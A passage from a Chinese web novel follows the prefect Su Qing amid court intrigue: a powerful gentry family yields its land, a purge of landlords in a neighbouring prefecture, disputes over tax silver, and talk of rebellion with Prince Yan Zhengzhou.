虽说通民府距离广乐府很远。 可只要听说那边大户的惨状,他就遍体生寒。 说句不好听的,也是兔死狐悲。 花景明慢慢开口:“有个同年就是通民府,他家百年基业,化为乌有。” 原本以为他们这些家族,都是坚不可摧的。 实际上只要一把火,就能化为乌有。 花老爷眼皮微动:“你觉得,这事是谁做的。” 两人心中都有个不敢置信的答案。 但都不敢说。 花老爷甚至就是听到通民府的消息,才彻底病倒昏迷的。 醒来第一件事,就是问通民府到底死了多少人。 是不是只针对大户乡绅。 他们知道这个消息时,“大泽军”已经席卷第四个县。 所以得到的答案是肯定的。 而花老爷直觉告诉他,这事没有那样简单。 这次的贼人,似乎跟之前的贼人不一样。 而且那是通民府。 苏清的老家。 她从京城回来时,就在通民府落脚。 甚至还警告这些乡绅大户。 当然了,那时候他们都不当回事。 现在听到旁观者耳朵里,难免惊悚。 会是苏清干的吗? 如果是她。 那他们花家还想杀了她,岂不是更危险。 如果不是小儿子一直阻拦。 花家的好手早就去杀苏清全家了。 尤其是她保护在南江县的母亲跟弟弟。 只要苏清落单,她也好不到哪去。 花景明知道的父亲的想法后,一直劝他。 花老爷还问:“你到底站在哪边?若真心对苏清,就不该护着家族,若为家族考虑,就该对付起诉请。” 可他犹犹豫豫,竟然想两全,竟然什么都想要。 世上哪有那么好的事。 不碰上苏清这种人还好。 在她面前,怎么可能两全其美。 花景明做不出回答。 然后就出了通民府的事。 “算了。”花老爷躺在床上,深深叹口气,“你再去趟衙门。” “咱们认输。” 认输?! 花承载不解。 还没有山穷水尽呢! 怎么能认输! 花老爷冷笑,小儿子去做官,家业只能由大儿子接手。 以他的性子来看,花家这产业已然完了。 要是把二女儿留下来就好了。 她虽然一心求稳,却心思缜密。 在她手里,花家不会有大发展,却也不会被败光。 花老爷看了一圈,指了大儿媳:“你跟小弟一起去府衙。” “把老二也喊上。” “就说我时日无多,家里田地产业经营不过,要变卖些,请衙门做个见证,找个买家。” 变卖田地? 这怎么可以。 花承载立刻不服。 可家里其他人却是愿意的。 花承载想去找他娘,可花夫人六神无主,并无主见,只道:“听你爹的,你爹说的肯定没错。” 说罢还道:“夫君,我听说南江县有一种药丸,可以治你这病,咱们去买些吧。” 花夫人跟花老爷年纪差不多,可她对外面这些事全然不知。 更不会知道那益气养神丸出自苏清的手。 如今这种状况,她怎么可能给。 花景明搀扶着母亲,好生安慰。 花又菱那边送来消息,她直接去府衙了。 “保全自身,才是最重要的。” 话是这样讲,但花老爷明显苍老许多。 他一辈子为花家努力,没想到却要在自己手中变卖田地。 可他更知道。 与其让土地撂荒,不如卖出去。 既能少些麻烦,也是向苏清认输求情。 找她求情,不能只靠一张嘴。 更不能说我想娶你。 这不是求情,是自找死路。 不管通民府的事情,是不是苏清的手笔。 可那边发生的事,很有可能出现在广乐府。 苏清这人,绝对有这个胆子。 “去吧。”花老爷哑声道。 苏清听到这事,只让邬户房他们去办。 正好把田地卖给之前种地的佃户,他们也不用搬走了。 看来通民府的事情,确实把花家吓破胆。 花又菱来的时候,看着花家大嫂跟花景明两人,一时无言。 让她过来,就是处理广右县的田地。 以前都是她打理,卖出去也要找她。 不过花又菱实在想不通。 看着坚不可摧的花家,就这样认输了。 她爹甚至主动找她,明显也是低头的意思。 那她之前忍气吞声,帮着打理家业,处处拔尖算什么? 顺从的时候没有好处。 反击之后,反而得到自己想要的。 花家要卖田的事,让佃户们格外兴奋。 怎么瞌睡就有人递枕头啊。 听着那价格也公道。 还是衙门主持买卖,真不错。 他们辛苦攒钱,不就是为了这一日吗。 府衙跟两个县的官吏,日日都在经办买卖的差事。 广乐府最大的家族花家,势力范围逐渐缩减。 让不少人唏嘘。 不过他家跟通民府那些人比,还是好多了。 现在九月底,通民府一半大户都已经被清洗干净。 剩下的人,要么赶紧开仓放粮,要么卷带财物逃往他乡。 所以花家人知足吧。 把你们放到通民府就老实了。 对下面各地一向不在意的朝廷,如今都重视大泽军的事。 让新任守备连飞扬快些过去,务必清缴此地匪贼。 连飞扬打过许多仗,他的到来给了不少人信心。 而且他到通民府后,立刻着手调查。 十月初二就给朝廷上奏章。 “此地山贼极多,并有谋反之意,本地知府陈建业隐瞒不报,方酿成大祸。” 其他的事情就算了。 谋反? 还专杀大户乡绅地主? 对于皇上而言,谋反二字就该死。 再了解里面的细节。 就是冲着士族去的。 京城官员中,谁家没有大量田地? 他们跟花老爷一样,既恼怒又害怕,斥骂陈建业竟敢帮反贼遮掩。 若早知这些事,朝廷必然重视的。 上百官员联名上书,务必要追究陈知府的责任。 皇上点头,让吏部着手去办。 其他事情就算了。 那“大泽军”所做之事,正是士族皇家最惧怕的。 陈知府接到吏部罢免文书时,眼前猛然一黑。 他能不知道这事严重吗? 若是不知道,怎么会尽力隐瞒。 新来的守备竟然直接告状。 让他防不胜防。 当初乡绅地主横行的时候,他顶多提心吊胆。 现在心腹大患解决了。 自己反而被罢官了?! 有人忧愁,就有人欢喜。 原本的王通判看到自己的任命文书,还以为看错了,让身边人狠狠掐他一下。 让他兼任通民府知府?! 直接让他顶这个缺?! 没看错吧。 送文书的差役再次恭贺,王通判身边人才想起来给些赏银。 好事啊。 他们老爷直接成知府了。 原本是正五品的学政,然后是正六品通判。 现在直接是正四品知府! 而且王知府等人知道。 通民府看着乱,其实死的都是本地乡绅恶霸。 没了这次刺头,再有连飞扬连守备整肃地方。 其实不算难管的。 从王通判到王知府,他还没反应过来。 但忽然想到苏知府。 苏大人为什么让他来通民府。 还说等着就好。 难不成,等的就是这件事? 王知府想到最近种种,立刻摇头。 有些事,还是不要多问的好。 反正他已经当上知府。 接下来要怎么做,他清楚的。 毕竟,能把他弄上来,就能把他拉下去。 旁边的陈大人是前车之鉴。 在其他人看来。 通民府新守备以及新知府任命后。 治安果然好了很多。 之前的大泽军也被打退几回,虽然没有捉住对方,但至少不敢过来了。 而且新知府主动向对方写信,说他作为新知府,不会对这些乡绅恶霸不管云云,让对方放心。 没想到还真有效果,放过几个县,只等着新知府去管。 新守备也没闲着,趁着这个机会,调兵遣将,召集乡勇,把周围真正的山贼土匪收拾一通。 两人合作下来,通民府的情况好了太多。 赵镇县苏家梅家都来信,说家里没事了。 本地的青年男女也不准备离家,正在平整土地的,等着来年种地呢。 一直到陈大人收拾行李回乡,也只觉得自己倒霉。 怎么就碰到这种事。 他回乡的时候,甚至还路过了广乐府,但并未停留一日,赶紧让家人赶马车离开。 他跟苏清以及苏清在的通民府不对付。 以前还指望她呢,这哪里靠得住啊。 这些好消息送到苏清手中,哪有不高兴的。 通民府,苏大人跟梅娘老家,终于太平。 别看这方法简单粗暴,却着实有用。 苏清收拾收拾房间,等着一个人过来。 永晟六年,十月初九。 虽然是秋日,但夜间的风也不算凉。 苏清点了灯,在院中看书。 晏铮州如约而至。 等晏铮州坐下,苏清笑:“消气了?” 见他不答,苏清也没理。 要说晏铮州气什么,两人都知道。 明知道不愿夺人所爱,不会跟有婚约的人纠缠。 但苏清让他一步步降低底线。 即使知道不对,还是靠近。 明知道跟她说那些往事,只是讲自己小时候的过往。 却被她拿来利用。 还有,他的身份。 晏铮州在想,苏清对他不一样。 是为了这个身份,还是为他。 或者两者都有,根本分不开。 坐了片刻,晏铮州道:“我今晚便走。” 离京的时间有些长了。 苏清好奇:“京中怎么应付的。” “马豪扮做我,在山中打猎。” 算着时间,也确实刚刚好,是该回去了,否则定然引起怀疑 苏清放下书,明亮的眼睛盯着他看:“真的不造反吗。” 晏铮州无奈。 她怎么能把这种大逆不道的话,说的那般轻松。 “不为我,也不为你自己。” “为你见过的通民府百姓,不行吗。” 苏清声音如初,丝毫不觉得自己这话有什么问题。 等晏铮州起身离开,苏清嘲弄般的笑出声。 晏铮州这才转身看向她,径直靠近,极为认真道:“你若败了,会死的。” 想要那个位置,没有那样简单。 他见过,还经历过。 一着不慎满盘皆输。 到时候他空有武力,也只能跟她一起死。 他可以死,苏清不行。 苏清不怕他靠得近,反而凑过去,勾住他的脖子,轻轻咬住晏铮州的嘴唇,这才道:“死又如何。” “连这点胆子都没有?” “晏铮州,造反吧。” 晏铮州回京路上,再次路过通民府。 此时的苏清家乡,已然大不一样。 处死乡绅恶霸。 又有苏清安排的文武官员,气象焕然一新。 王知府甚至让人去买广乐府便宜好用的农具。 所用的银子,是原本要交给朝廷的三十万税款。 前知府本来要把大半税款献给皇上。 还没来得及做,就被新知府拦下。 王知府胆子没有苏清那样大,可他迂回婉转,总之一个意思:“通民府民不聊生,还有反贼作乱,这些银子就是用来压制民怨,消除反贼的。” 当然,王知府敢这样做,还是苏知府顶在前头。 人人都知道朝廷惦记广乐府的税银。 可苏清依旧不给,只说已经给了军中,还让户部官员问军中要军费。 这开什么玩笑。 只有户部给军中拨款的,哪有问军中要钱的。 双方文书奏章你来我往,已然是皇上最为头疼的事。 这通民府的事情,算不了什么。 苏清稳坐广乐府,给其他地方也带来生机。 从广乐府到皋青州到通民府。 还有十六万驻军,哪个不是靠她周旋经营,才有如今的日子。 晏铮州回到京中,换了衣衫回皇宫面见皇上。 皇帝一身明黄华服,正在跟工部讨论皇陵修建。 生前荣耀死后富贵他都要。 “银子还不够。”皇帝道,“再催催广乐府通民府。” “难道他们还敢抗命不成?” 工部众人连连点头,吹捧之词不用多讲。 皇上这才抬头,好像刚看到铮王爷,开口道:“去山中打猎,一去就是这样久,可猎到什么物件?” 晏铮州对此十分熟悉,不能答猎到熊鹿等物,只得讲山鸡野兔。 “铮王爷不是战神吗,怎么都是小物。”皇上笑的有些咳嗽,赶紧吃下一丸药。 想到通民府那些乡绅恶霸。 也确实是小物。 晏铮州点点头:“皆是小物,只是小物多了,也是祸害。” 皇上摆摆手,没有再理,让他退下。 只要他在京城即可。 做什么不大重要。 晏铮州离开勤政殿,不再听皇上跟工部的讨论。 可另一边,齐内官朝他招招手。 他们之前都在依松县打仗,关系不算差。 两人走到阴影处,只听齐内官低声道:“铮王爷,最近宫里有个新人,十分受宠,您可听说了?” 晏铮州不关心这种事,自然不知。 齐内官深吸口气:“王爷先别走,一会她就来给皇上送参汤了。” 晏铮州心中觉得不好,等他抬头看过去。 只见一高挑女子款款而来。 那面容跟苏清有六七分相似。 晏铮州喉咙滚动,盯着勤政殿,眼神带了杀意。 第75章 铮王爷情绪如此外露实在罕见。 齐内官顿了下,才道:“王爷,这事要同苏大人讲吗。” 齐内官也是没办法了。 三个月前,不知谁寻来这个女子,专门献给皇上。 刚开始还藏着掖着。 最近这几日,随着广乐府压着不给税银,皇上便允许这女子在宫内行走。 每日汤药都要这个妃子送来。 但凡见过宠妃,都能认出她相貌酷似苏大人。 皇上越宠爱,对苏大人来说越是侮辱。 想来,很快就有更多人知道。 到时候会如何看待苏大人? 齐内官跟苏清的关系自不必说。 云喜绿兰一口一个齐叔,跟自己亲儿女差不多了。 苏清还把他们养的很好。 再说,苏大人本身就很好,她是真正一心为民的。 所以看到这个宠妃的脸,齐内官只觉得心寒。 苏大人一心为民,一心为顺昌国。 得到的,就是这样的羞辱。 此事传开。 必然会寒了有报国之志官员的心。 反正齐内官对皇上的看法,早就有了改变。 晏铮州道:“不用瞒她。” 确实不用瞒着苏清。 因为她已经收到京城的来信。 广乐府同乡会的方大人,武捕头的大儿子。 甚至顾从斯都有来信。 顾从斯显得最为恼怒。 其他人也好没好到哪去。 “好下作的手段。”邬户司直接骂出声。 罗主簿也气的不行。 他们多半不知苏清在京城时,差点被皇上召进宫宠幸。 反而带回来的全经武知道前因后果。 这全经武就是吏部尚书家的小厮。 被派去传苏清进宫。 又因事情闹的太大,就把他带回家乡。 如今在府衙当差。 苏清书房内。 云喜绿兰不必说,两人恨不得去扇皇上。 罗主簿跟邬户司得知这事,第一反应是:“咱们广乐府不给税收,竟然就这样作践人。” 送信件过来的全经武反而心道。 确实是作践人。 但估摸还有一条,那就是皇上既为了恶心苏大人,也是真想让大人入后宫。 以后逮着机会,肯定不会放手的。 全经武没说出来,但跟苏大人对视一眼,明白大人心里有数。 说起来,全经武自五月跟着回了广乐府,先回家休息了半个月。 自十二三离家,这还是头一次回来。 看着家里有了田地,盖了好几间房子,养着鸡鸭鹅。 他都不想出来做事了。 但他不是个惫懒的人,拿着苏大人的名帖来府城,做了府衙的门房。 在广乐府时间越长,对苏大人的感激就越深。 他是在吏部尚书府上做过事的。 见过大小官员无数。 明白这里的官吏,多数都是真心以民为本。 还有些尽忠职守,想得到大人赏识,所以也会认真做事。 京城那些只会逢迎的官员得到重用。 苏大人这样的官员,却要被羞辱。 全经武想想就觉得愤愤不平。 眼看书房里四五个人一言不发,但明显越来越生气。 苏清好笑道:“别气了,他做这样的事,丢人的反而是他。” “我又不在意。” “不如利用这件事,让税收一事,彻底敲定。”苏清一句话拉回正题。 全经武默默退出来,并在二门处收着,绝对不让人踏近一步。 苏清远在广乐府,都知道后宫有个跟她面容六七分相似的后妃,何况其他人。 既如此,就更要咬死不给税收。 其实这事一直在做。 邬户司做了军中账目。 一个是欠饷,从去年十一月开始,一直到如今十月份。 十个月粮饷,共计四十万两。 今年冬日冬衣,年节下预备猪牛羊等等。 还有武器药品补充。 下来要七十万两银子。 只看这些,今年一百八十六万税银,已经去了这么。 还要给明年预留,总不好让明年继续欠粮饷。 这本账目拿上去。 更表明广乐府的决心。 让他们负责军费,就不给朝廷交钱。 皇上跟户部见此,干脆道:“让就不让广乐府负责此事。” 兵部听见这话,立刻站出来:“不让他们负责?那谁给军费?!” 兵部众人心道。 别朝令夕改了。 他们兵部刚松口气。 自广乐府接到命令,人家就把朝廷所欠粮饷陆陆续续运过去了。 从八九月开始,如今十月份。 十六万驻军,已经陆陆续续收到好几个月的欠银。 柴总兵那边不再催债,手底下终于能睡踏实觉。 朝中争吵不断。 广乐府铁了心不给。 皇上此事却也不好把她再召回京城,事情便僵持住了。 直到一个大臣提议:“既如此,不如趁机裁撤士兵。” “广乐府跟皋青州两地都已太平,不用那么多士兵了。” 旧事重提。 正好说到皇上心坎上。 说来说去,还是军费太多,需要缩减预算。 当然,这事还是交给兵部。 所需银钱从广乐府出。 皇上此话一说,还觉得自己很聪明。 除了兵部尚书眼前一黑,其他都挺好的。 户部这边又点名通民府等几地,都在拖欠税款。 挨个讨论一边,只觉得哪里都难。 “哪里都难?朕不难吗?”皇上冷笑,“朕已经给他们诸多优待,竟然还不知足。” “去,让他们都给个期限,到底什么时候把税款交上来!” 在这当中,甚至还有皋青州的事。 “皋青州不是有铁矿吗,听说他们在给广乐府提供铁矿石,怎么就不能交税了。”户部尚书慢悠悠道。 皇上不言语,却是满意点头。 此事传到皋青州知州王家耳朵里。 京城王家。 他家儿子今年刚考上进士,九月份从京城出发,上任皋青州。 这家托关系,让王进士去皋青州时,亲朋都不理解。 说那边乱糟糟的,有什么好,还位处边境。 但七八月的时候传出来,皋青州那边拿住了铁矿,还把铁矿石卖给广乐府。 便让皋青州变得不一样了。 所以王进士赶紧上任,生怕别人抢了去。 王家脸色也难看。 皋青州刚收复没多久,就要收税,实在不合理。 王进士已经到地方了,来信也说任地确实艰苦,处处都要用钱。 卖矿石的银子,都用来挖水渠修道路桥梁了。 而且本地物价极高,有了这些银子,才能平息物价云云。 见他刚过去,就能把政务料理明白,家里自然知道,这是皋青州户司主事汪鹤的功劳。 而且看汪鹤的意思,俨然要让他们家儿子当第二个苏清。 这对王家来说,自然再好不过。 别看大家笑苏清是女子,更多是嫉妒。 若谁家儿郎能这般,早就吹上天了。 有了这等官声,以后必然平步青云。 皇上都不敢擅动苏清,只能用不入流的手段恶心她。 还不是因为她名声太好,动她需要掂量掂量。 现在孩子刚开始做事。 朝廷就要税银,这合理吗? 王家老太爷阴沉着脸,家里就这一个有出息的孙儿,不能让户部那群钻钱眼里的人毁了。 “老夫要上奏章,拿笔墨。” 王家众人立刻答是。 有老太爷出面,皋青州的税收,肯定是要搁置的。 此事的皋青州,其实并不像他们想的那样苦。 王知府本人也没有那样苦,反而觉得此地天高地阔,正适合骑马作诗。 还别说,王知府当官能力一般,但作诗确实有些天赋。 因见了迁徙而来的矿工,还有本地百姓。 本就有天赋的王知府更多了亲身经历,写出来的诗句脍炙人口。 跟矿工有关的几首诗,更让人潸然泪下。 备受鼓励后,作诗的兴致更高,其他事情就交给汪鹤他们。 王知府也明白,他们本就是家里安排过来的,都是自己人。 而且人家的差事做的不错。 有他没他差不多。 但王知府跟他娘子,有一个不太好说的愿望。 那就是有机会的话,想去隔壁广乐府一趟。 广乐府物产更丰富,他们想去采买些文房四宝。 还有,想传说中的苏大人。 王进士在琼林宴上见过她,不过只是远远看一眼。 毕竟苏大人身边都是什么状元案首之类的。 他这种进士,只能在旁边看啊。 再者,他娘子没看过啊。 之前在京城,家里管的严,哪能跟现在这样,两人经常骑马出来玩。 还是户司主事汪鹤了解王知府的心思,开口道:“可以问问苏大人什么时候去南江县。” “她母亲住在那里,每个月都要去看望的。” “而且南江县的物产不输府城,去那边采买也一样。” 有了这句话,两人就开始打听苏大人什么时候去南江县。 打听到苏知府每月二十五会去南江县,他们便穿了常服,想去看一看。 当然提前递了消息,不至于扑空。 十月二十五,两边终于见面。 王知府夫妇跟苏知府之间,有很多话要说。 比如朝廷一直在催税款,完全不顾地方情况。 还有各地都有新科进士赴任。 以及感慨广乐府跟皋青州情况都不错。 宠妃的事,大家心里都知道,但王知府夫妇自不会提起。 只是觉得的心眼着实太小。 苏清只是听着吐槽,身边云喜绿兰再加上全经武,心里都是点头。 等王知府夫妇去逛街,身后的汪鹤悄然去了梅娘家中。 汪鹤松口气:“苏大人,许久不见了。” 虽然一直在通信,但很多事还是当面说的好。 “这位王知府性子确实软,不爱管庶务,所以事情都在我和费开宇,文瑞手中。” “您只管放心,有什么吩咐,我们全都听令。” 汪鹤看起来精神奕奕。 苏知府安排他去皋青州,还说对广乐府有好处。 之后的事证明,确实有好处。 把广乐府的矿料换成皋青州的,价格低了五分之一。 只是省银子就罢了。 还借着这件事,让花家卖田产认输。 这才是广乐府最好的事。 那可是花家。 这家都撼动了。 所以汪鹤越干越起劲。 势必要把皋青州建设好。 美中不足的,便是其他新科进士,汪鹤吐槽道:“有两个县令,皆是新年的新科进士,什么都不懂,还喜欢攀炎附势溜须拍马。” “他们这种官员当任地办差,实在不堪用。” 治理地方,若无经验,确实是个大麻烦。 要是没有经验还爱指挥,那就完蛋了。 不过这些都是小事。 问题不大。 苏清道:“这批新科进士,不仅做了县令,还做了知州等职。” 皋青州特殊,有汪鹤这种户司主事。 还有苏清安排费开宇,文瑞。 这些人放在任何一个地方,都能独当一面。 其他地方,可没那么好运气了。 今年新科进士,共计四百三十六人。 汪鹤睁大眼睛。 四百三十六人?! 他怎么把这事忘了。 这些人都是皇上口中的天子门生。 都是他的“自己人”。 身处要职的,不在少数。 汪鹤眼前一片漆黑。 皇上未免太着急了些。 急切想把权力揽在自己手中。 再想到会试殿试题目,基本都是对皇上歌功颂德的。 挑选出来的人,多数都是趋炎附势,人云亦云的。 当然,肯定也有真才实学者。 可他们的名次,都不会太高的。 汪鹤多年老吏,经历的事情极多。 如此景象,可不是什么好事。 汪鹤扶额:“此事要瞒着文瑞文大人。” 文大人什么都好,办差好,学问好,长得好。 只一点,对朝廷极为不敬。 有时候他们私下吃点酒,就喊着要造反。 见他跟费开宇都没反应,没喝酒的时候,也在嘀咕造反。 要是让他知道,肯定会喊着反的。 苏清跟汪大人都笑,也只当玩笑话。 公事处理完,苏清也能松口气了。 皋青州一切顺利。 山阳府那边也还不错,明年山阳府也要开女子童试。沈知府如今管事,百姓日子也好过些。 广乐府更不用讲。 已然是周围人人向往之地。 几年前还是战火纷飞。 现在依然变成王知府都喜欢的好地,变化之大,谁不感慨。 见清清办完差,梅娘笑眯眯过来。 她手里还拿着通民府的信。 “家里越来越好了。” “新来的知府人很好,守备也管事,把周围山匪都清扫了。” 连飞扬嘛。 他带兵有些本事的。 苏清安静听着,不时给些回应。 梅娘说完,心疼地抱住女儿:“广乐府以前还不如通民府,你却把此地治理的如此好,真是辛苦。” 苏清破觉得好笑,这都哪跟哪啊。 说到其他地方,反而心疼她了。 不至于的。 母女两人说说笑笑,提起近来的事情。 也就是祝县令带人修水渠,又惩治一伙贼人。 还有本地县学来了些学问更好的夫子,是新学政带过来的。 苏澄苏溪都在那读书,对此说的也多些。 “新学政倒是有一把美须。”梅娘下意识夸道。 苏清挑眉。 她就知道,母亲肯定会夸的。 可夸过之后,梅娘忽然有些不好意思,赶紧换了话题。 不对劲。 梅娘夸人向来大大方方的。 什么时候不好意思了。 是不是有什么她不知道的事? 等梅娘去做饭时,苏清把弟弟苏澄喊过来。 苏澄今年十岁,该知道的也知道了。 问他肯定没错。 要说姐弟两个相处不算多 苏清做主事的时候,他才五岁。 姐姐每日早出晚归,苏澄只能努力读书,对姐姐的崇拜更是与日俱增。 所以苏清问什么,苏溪立刻答什么。 “娘去县学附近的慈幼院时,正好碰到学政头晕目眩。” “娘见他是中暑,就立刻上前搭救。” 梅娘的性格大家都知道,遇事怎么能不帮忙。 等学政恢复了些,赶紧做感谢。 周围人认出这是苏知府的母亲,在南江县专管慈幼院,还有伤兵的事。 南江县现在的伤兵,都是因战事残疾的老兵,梅娘不仅补贴他们家用,还帮忙找生计。 那王学政听着,只觉得敬佩不已。 之后接触多了些,两人也就熟悉了。 只是现在那王学政去其他地方县学巡视,已经不在南江县。 苏清沉吟片刻,说了声知道了。 若梅娘愿意,那她就考察考察对方。 姐弟俩嘀咕着,就听门外传来一个意外的声音。 “苏清!苏知府!” “好久不见啊。” 确实是好久不见。 去年正月时,叶山鸣来南江县搬箱子。 今年已经十月下旬了。 一年半未见,叶山鸣怎么如此黑瘦。 苏清下意识道:“你出海了?” 叶山鸣一愣,随后笑:“果然是你,这般敏锐。” 苏澄不解:“姐,你怎么看出来叶公子出海了啊。” “若在陆地上,晒不了这么黑。”苏清多了句,“好在不算难看。” 叶山鸣整个人看起来黑瘦,但明显结实不少。 叶山鸣又笑,明显轻松不少。 见他明显有话要说,苏清让苏澄去找云喜绿兰玩。 他们两个应该跟朱娘子说话,缠着朱娘子做好吃的。 叶山鸣见此,坐下来直接道:“这次来找你,是我想请你帮个忙。” 什么忙? “我家在扬州的财物,其中一部分,想寄存在南江县。” “还请苏知府给个庇护。” 听此,苏清严肃道:“江南要有动乱?” 叶山鸣苦笑:“朝廷派去的官员,新官上任三把火,算不算动乱。” 按理说地方可以不用管他们。 但这些人一口一个奉皇命,拿着皇上名头压他们。 势必要把巨商家里的财产,全都充公才算罢休。 如果是苏清这种,拿住花家错处,逼着他们还不义之财,还有人能理解。 可叶山鸣出海买卖的两船香料木材珠宝,全都被扣下。 就不符合常理了。 “出海近一年弄来的东西。” “全都被那些愣头青扣了,还说什么,有本事找皇上去要。” “拿我的钱献给皇上修皇陵,亏他们想的出来!” 75-80 第76章 在苏清面前,叶山鸣比较放松,有什么说什么。 反正他也知道,苏清对皇上的态度,估计也好不到哪去。 骂完之后,叶山鸣竟然笑出生,开口道:“咱们也算一起倒霉了吧?” 苏清听他这么说,就知道他也听说宠妃的事。 苏清耸耸肩:“我丢的只是名声,你丢的是金银。” 此言一出,叶山鸣嘴角下压。 怎么哪壶不开提哪壶啊。 哎。 真是算他倒霉。 “我提前把贵重物件搬下来了,不会让他们占太多便宜。”叶山鸣道,“所以想把东西运到你这。” 这也是不得已的做法。 不过叶山鸣提出此事,家里都同意的。 一个是,叶山鸣已然是叶家家主,二是广乐府南江县的安全,大家心里都有数。 甚至已经有族亲来南江县买了房产,大有避祸的意思。 家主? 苏清还不知道这件事。 叶山鸣道:“祖父病重,我爹不管事,自然由我接手。” 叶山鸣自幼是他祖父带大,老人家病重他最为难过。 下船时听到这个消息,还来不及难过,就有人要强抢他的货物。 难怪他瘦了这样多。 苏清安慰几句,不过奇怪道:“叶祖父病重,你还往外跑。” “祖父的病跟这件事有关?” 叶山鸣点头。 新来的官员为了讨皇上高兴,逼着商户们拿银子。 他们科举出身,又当上官员,嘴中喊着士农工商,商人最贱,十分看不起。 要说江南一带许多商户,本就对皇上没什么好感。 皇上金陵避难,大家谁看不清那位也只是个普通人。 没了皇家滤镜,自然很难恭敬,更不愿意给钱。 这不闹出事。 所以叶山鸣下船,叶祖父就让他转移家里财物,也是为了保全家族。 狡兔还有三窟,他们叶家也要有所谋划。 苏清点头:“搬吧,我回头同祝县令说一声。” “但事先言明,不能哄抬本地房价,不得以钱压人,房子不可太奢华。若有竞奢之风,绝不允许。” 叶山鸣一一点头,苏清又道:“你先坐片刻,等我让人取样东西。” 苏清出门,对门口的全经武说了几句。 不多时,全经武拿来一瓶药丸,正是益气养神丸。 “拿着吧,你千里迢迢跑来,必不止为安置财物。” 叶山鸣确实爱钱财,但对祖父的拳拳之心,苏清也明白的。 叶山鸣看着手里的益气养神丸。 这确实是他此行目的之一。 这么轻易拿到,既意外,也不意外。 大概是跟扬州当地官员相处的多了,下意识觉得难缠。 可又知道自己跟苏清打交道,并不用太费周折。 只要是合理的请求,她大概率都会满足。 想他多年前,还大言不惭让苏清做他家掌柜。 此事说起来,反而有些好笑。 当然了,是他好笑。 “大恩不言谢,我先把这药送到家里。”叶山鸣应该留下来多多感谢苏清的,他也明白对方不在意这些事,“下次过来,再专程来谢你。” 苏清摆摆手,果然是不在意的:“照顾好老人家。” 叶山鸣来去匆匆。 但苏清知道这事不大不小,让祝县令做好准备。 叶山鸣下次过来,估计会带来不少财物还有人手。 没想到江南也乱了。 离京城那样远,皇上之前也管不到。 本不该这样的。 新来且没经验的 现在的南江县,基本是广乐府跟皋青州的中心。 各方面都要加强戒备。 另一边的皋青州王知府夫妇已经逛街过来。 南江县自然比不上京城,但能买到的东西着实让他们惊喜。 梅娘这边设宴招待众人不提。 众人也该各回各家了。 苏清还是带着云喜他们回府城。 皋青州王知州夫妇也要回去州城。 他们对苏大人极为不舍,对南江县的舒适也不舍得。 苏清看了看他们身后的汪鹤,这下放心。 回到广乐府府城,已经是十一月初一。 至此。 广乐府,皋青州,隔壁山阳府,通民府。 基本都在掌握。 前两个都是苏清悉心经营的。 通民府的王知府心里有数,基本都听苏清的。 山阳府的沈知府,一心想让女儿考上功名,只有这个念头还在,就不会破坏现在的环境。 而且山阳府矿场那边,还等着广乐府买他们的矿石。 没了广乐府这个大买家,那边的矿产收入锐减。 不管是朝廷,还是地方,肯定都不愿意的。 但大家也都知道,之前的矿场管事坑了广乐府太多银子。 不让苏清他们这边消气,肯定不成。 为了这件事,对广乐府的态度,也会非常好。 如果说南江县是皋青州跟广乐府的中心。 那广乐府本身,已然是这四个地方的中心了。 中间就夹了个石纹州。 这石纹州百姓左看右看,还忍不住叹气。 周围几个地方,大家日子都越来越好了。 怎么就他们越来越差。 本地知州,你有没有什么头绪啊? 那石纹州知州也是个新科进士。 他日常事情都处理不过来,更不用说整治地方了。 所以这石纹州的百姓,基本都往周边其他州府跑,本地官吏也没什么办法。 这跟苏清肯定全无关系。 本就忙碌的她,还要监管四个地方。 能抽出时间,已经很不得了了。 而广乐府之前回乡探亲的新科进士们,也基本已经到任地。 顾从斯不用讲,他带着爹娘去京城,自己跟父亲已经在任职。 只是京城有关宠妃的传言,让顾家夫妇更抬不起头。 在广乐府时,大家多是调侃,又顾及顾从斯的面子,懒得嘲笑。 但到了京城,皇上宠妃的事,让周围不少人看向他们时,眼神明显多了嘲弄。 估计两人早就后悔,还不如留在广乐府,当然说什么都晚了。 其他人,祁安平去了巴竹府下的一个县做县令。 走之前向苏清讨了几个经验丰富的书吏。 惠容就在他隔壁县,两个县一个比一个穷,苏清自然也给他几个人。 最尴尬的莫过于花景明。 花景明身边随从,自不用来求官府。 但辞别之时,脸上明显有着尴尬。 花家的事情,大家都明白,不必多说了。 他这次去的是闽地一个县。 带了不少仆从小厮,还有家里请来的书吏。 以他的聪明,学习起来应该很快。 就看如何行事了。 广乐府的新科进士一一赴任,那其他各地官员,估计也到的差不多了。 只希望这些刚入“职场”的新人,不要惹出大乱子才好。 许是说什么来什么。 江南沿海一带,真就出现问题。 原本在沿海小岛上的叛军,竟然集结起来,来岸上烧杀劫掠。 趁着江南一带粮食丰收,抢了不少粮食回去。 以前就有这种迹象,但随着防务松懈,这些叛军们的胆子越来越大。 无数农户渔夫被叛军杀害。 本地守备军姗姗来迟,只做到一个清理战场的作用。 而这场骚乱似乎只是开始。 等叶山鸣带着财物去到南江县,再转道来府城见苏清时,脸色明显更加难看。 苏清书房内,叶山鸣详细讲了那边的情况:“海万州有几个大港口,我们扬州一带的海船都停靠在那。” “叛军了解海岸情况,趁着月黑风高,从几个小港口登陆,又去抢了本地粮仓。” “海万州本地知州怕事,守备也怕事,助涨对方的威风。” 好在扬州距离海万州有些远,否则他们的日子也不会太平。 但大家都知道。 那些叛军劫掠惯了,必然还会继续。 所以叶山鸣把益气养神丸拿给祖父后,便收拾细软,把叶家一部分家当搬到南江县。 苏清听此也道:“你家做布料生意,要不然在南江县看看,能不能把生意再做起来。” 苏清眼馋人家布料买卖不是一两日了。 但广乐府事多,一直没做成。 叶山鸣点头:“不过南江县繁荣,地价比之其他地方贵些,我准备在其他地方种桑养蚕,反正是在广乐府内。” 这就行,苏清笑:“那等你好消息。” 叶山鸣难得放松笑笑。 不过谁也想不到。 以前大家都躲着广乐府,唯恐战乱波及到自己。 当初京城有事,同样是往江南跑。 现在京城勉强控制住,广乐府则变得极好。 反倒富庶之地江南麻烦不断。 以后他跟其他叶家人,会经常过来,甚至长住此地。 都说唇亡齿寒。 动荡一来,必然会席卷整个国家,谁也躲不开。 说到这,叶山鸣又向苏清打听个消息:“沿海的贼乱也不是办法,朝廷应该会派人过去吧。” 叶山鸣说的不确定,但他又道:“让沿海大户们出钱抗贼也是可以的,只是不知朝廷的想法。” 苏清消息灵通,她知道的事情比叶山鸣更准确些。 